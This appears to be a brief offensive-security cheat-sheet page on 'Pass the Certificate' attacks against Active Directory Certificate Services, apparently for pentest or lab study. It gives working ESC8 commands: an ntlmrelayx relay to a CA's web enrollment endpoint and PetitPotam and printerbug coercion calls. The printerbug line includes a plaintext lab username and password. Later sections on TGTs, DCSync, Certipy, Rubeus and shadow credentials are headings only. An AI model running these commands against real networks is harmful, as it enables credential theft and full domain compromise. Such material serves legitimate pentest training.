For the complete documentation index, see llms.txt. This page is also available as Markdown.

Pass the Certificate

Overview

  • Abuse Active Directory Certificate Services (ADCS) to obtain certificates that can be used for authentication

  • Most common: ESC8 (NTLM relay to ADCS web enrollment)

ESC8 - NTLM Relay to ADCS Web Enrollment

Set Up Relay

# Template depends on target - DomainController for DCs, KerberosAuthentication for others
ntlmrelayx.py -debug -smb2support --target http://<CA_HOST>/certsrv/certfnsh.asp --adcs --template DomainController

Coerce Authentication

# PetitPotam (MS-EFSRPC) - often works unauthenticated
python3 PetitPotam.py <attacker_ip> <dc_ip>

# Printer Bug (MS-RPRN) - requires valid creds
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.109 10.10.16.12

Obtain TGT from Certificate

DCSync with Machine Account TGT

Alternative: Get NT Hash Directly from TGT

Certipy (All-in-One Alternative)

Windows: Rubeus with Certificate

Add Shadow Credential (Linux)

Obtain TGT from Shadow Credential PFX

Use the TGT

Last updated